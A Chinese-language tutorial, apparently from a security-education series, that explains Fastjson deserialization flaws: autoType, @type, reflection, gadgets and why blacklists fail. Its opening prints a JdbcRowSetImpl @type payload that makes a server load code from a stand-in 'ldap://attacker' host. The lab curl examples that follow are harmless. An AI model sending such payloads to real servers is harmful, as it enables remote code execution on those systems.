引子:一行 JSON 为什么会变成一把 shell
先看一段真实、且几乎每个 Java 后端都写过的代码:
String body = request.getParameter("data");
Object obj = JSON.parse(body); // 本意:把前端传来的 JSON 变成 Java 对象
如果 body 被换成下面这样:
{"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"ldap://attacker/Exploit","autoCommit":true}
服务器就可能在"解析 JSON"这一步去连接攻击者的服务器、下载并执行代码。一个普通请求参数,直接变成服务器权限。 这不是魔术,而是"反序列化 + 自动类型识别(autoType)"这套设计的必然结果------本篇先把这条因果讲透,而不是一上来就背 payload。
为什么一个网络空间安全方向的学生必须懂它?因为 Fastjson 不是冷门组件,而是国内 Java 后端的"基础设施级"依赖:电商下单、支付回调、政务表单、消息队列、配置中心、甚至 Android 客户端,背后都可能是它。这类漏洞的特点不是"新",而是"面广、存量多、岗位高频"------渗透测试要打、代码审计要查、安全面试要问。
本篇要点(读完应能回答):
-
JSON 库在系统里扮演什么角色?序列化和反序列化各自做了什么?
-
反射为什么是"用字符串决定加载哪个类"的发动机?
-
@type为什么会被设计出来,又为什么危险? -
为什么"拉黑危险类"这种防御长期看必然失守?
一、先讲现实:Fastjson 是干嘛的
以用户下单为例,前端发给商城后端的数据大概是这样的:
{"userId":10086,"skuId":9527,"count":2,"coupon":"NEW5"}
后端的 Java 程序拿到这段文本 ,需要把它变成一个 Java 对象 (比如 Order 类的实例),才能调用 orderService.create(order) 去下单。把"文本 → Java 对象"这件事做掉的工具,就叫 JSON 库。
Fastjson 是阿里巴巴开源的 Java JSON 库,因为快、API 简单,在国内 Java 后端、中间件、Android 里被大量使用,常见于这些地方:
-
电商 / 支付 / 政务 / 企业系统的 HTTP 接口(Spring MVC 里常用于解析请求体);
-
微服务之间的 RPC、消息队列的消息体;
-
缓存(Redis)里存的对象、配置中心(如 Nacos)下发的配置;
-
很多国产中间件/框架的底层默认 JSON 实现。
换句话说:只要一个 Java 系统在"把前端/上游传来的 JSON 变成对象",它很可能就在用 Fastjson。 这正是这类漏洞影响面巨大的原因------2021 年前后,国内外大量系统因为 Fastjson 一个字符串就被人拿到了服务器权限。
二、序列化与反序列化:白话版
-
序列化(serialize):把内存里的对象,变成一个能存进文件、能通过网络传输的"扁平"格式(JSON 文本、二进制流都算)。好比把一辆组装好的家具拆成板材、装进纸箱。
-
反序列化(deserialize):反过来,把"扁平"数据恢复成对象。好比按图纸把板材重新组装成家具。
Fastjson 的两个核心方法:
String json = JSON.toJSONString(order); // 序列化:Order 对象 -> JSON 字符串
Order o = JSON.parseObject(json, Order.class); // 反序列化:JSON 字符串 -> Order 对象
Object x = JSON.parse(json); // 反序列化:不指定目标类型(重要!)
关键点:JSON.parse 不告诉程序"要变成什么类"
序列化时,Fastjson 默认不会 把类名写进 JSON。所以反序列化时如果只给一段 JSON、不给目标类,程序就不知道要 new 哪个类。为了让"多态"能工作,Fastjson 支持在 JSON 里用特殊字段 @type 指定类名:
{"@type":"com.example.Order","userId":10086,"count":2}
正常业务里,@type 是给"同一个接口有多个实现类"这种场景用的。但漏洞也从这里开始:既然类名由输入决定,攻击者能不能填一个"反序列化时会干坏事"的类?
答案是可以。这个"由输入指定类,并被自动实例化"的能力,就叫 autoType(自动类型识别)。
三、反射:漏洞的发动机
要理解"实例化一个类为什么能执行代码",必须先知道 反射(Reflection)。
Java 程序运行时,JVM 里有一张"类信息表"。反射 就是让程序在运行时,根据一个字符串类名去:
-
找到这个类(
Class.forName("com.example.Foo")或类加载器加载); -
创建它的对象(
clazz.newInstance()/ 构造器newInstance()); -
访问它的字段、调用它的方法(包括私有的,用
setAccessible(true))。
一段最小示例:
Class<?> c = Class.forName("java.lang.String"); // 用字符串找到类
Object o = c.getConstructor(String.class).newInstance("hi"); // 造对象
Object r = c.getMethod("length").invoke(o); // 调方法 -> 2
为什么危险? 因为反射把"写死在代码里的类名"变成了"运行时可变的字符串"。当这个字符串来自用户输入(Fastjson 的 @type 正是如此),攻击者就能让程序去加载、实例化开发者根本没想到的类。
而很多 Java 类在被"创建/设置属性"的过程中,会顺带执行有副作用的操作,例如:
-
发起一个网络连接(
JdbcRowSetImpl的setAutoCommit→ JNDI 查询); -
加载并定义一段字节码(
TemplatesImpl的getOutputProperties); -
读取/写入文件、执行命令......
这类"能被外部摆弄出危险动作"的类,在安全圈叫 gadget(利用链组件) 。Fastjson 漏洞的本质 = 攻击者用 @type 指定一个 gadget,借助反射把它实例化/设值,从而执行代码。
四、把一次正常反序列化拆开看
调用 JSON.parse(json) 解析下面这段时,Fastjson 内部大致做:
{"@type":"com.example.User","name":"tom","age":20}
-
读到
@type,取出类名com.example.User; -
通过类加载器把这个类加载进来(等价于
Class.forName); -
创建
User的实例; -
遍历后面的字段
name、age,用反射找到对应的 setter 或字段,把值写进去; -
返回这个对象。
第 2、4 步都用了反射。漏洞就发生在这里:如果第 2 步加载的是攻击者精心挑选的类,第 4 步设置的属性又恰好能触发危险动作,代码就执行了。
一个必须先建立的心智模型
**
@type里的类名 = 用户可控的"要加载的类名"。**安全与否,取决于"能不能随便加载任意类"以及"被加载的类会不会干坏事"。Fastjson 之后十几年的攻防,全部围绕"如何放开/收紧这个类名"展开。
五、为什么"只过滤黑名单"很难
新手常问:既然危险类就那么几个,直接拉黑不就行了?
实际上:
-
危险的不只是"执行命令的类",而是大量能被组合出危险行为的普通类 (本系列 03 篇会看到
JdbcRowSetImpl、TemplatesImpl都不是为攻击而生的); -
项目依赖成百上千个第三方库,每个库里都可能有可用 gadget,黑名单永远赶不上新发现;
-
Fastjson 为了"灵活性/兼容性"曾允许用各种写法绕过检查(
L...;、数组、缓存......),攻防因此进入长期拉锯。
所以最终结论是:别让不可信输入决定"要加载哪个类"------要么关掉 autoType,要么用白名单。这也是"防御"的核心。
六、本靶场里"正常 vs 危险"的对照
靶场提供了一组端点,最直观的是:
B=http://192.168.143.156:8080
# 普通 JSON:正常解析
curl -s -G "$B/parse" --data-urlencode 'data={"a":1,"b":"hi"}'
# => OK: {"a":1,"b":"hi"}
# 带 @type 的 JSON:会去实例化指定类
curl -s -G "$B/parse" --data-urlencode 'data={"@type":"java.util.HashMap","x":1}'
# => OK: {"x":1} (这里 HashMap 无害,但它证明了"类名由输入决定")
下一篇就把 @type 背后的 checkAutoType 检查逻辑讲透。
七、自测题(答案在正文里,不要背题面)
-
序列化和反序列化分别是什么?为什么说"反序列化"比"序列化"危险?
-
Fastjson 为什么需要
@type?它是干嘛用的? -
反射的三个最小能力是什么?它和"任意代码执行"之间缺了哪个条件才成立?
-
为什么"拉黑危险类"这种防御长期看不可靠?
-
用自己的话说出"Fastjson 漏洞的本质"。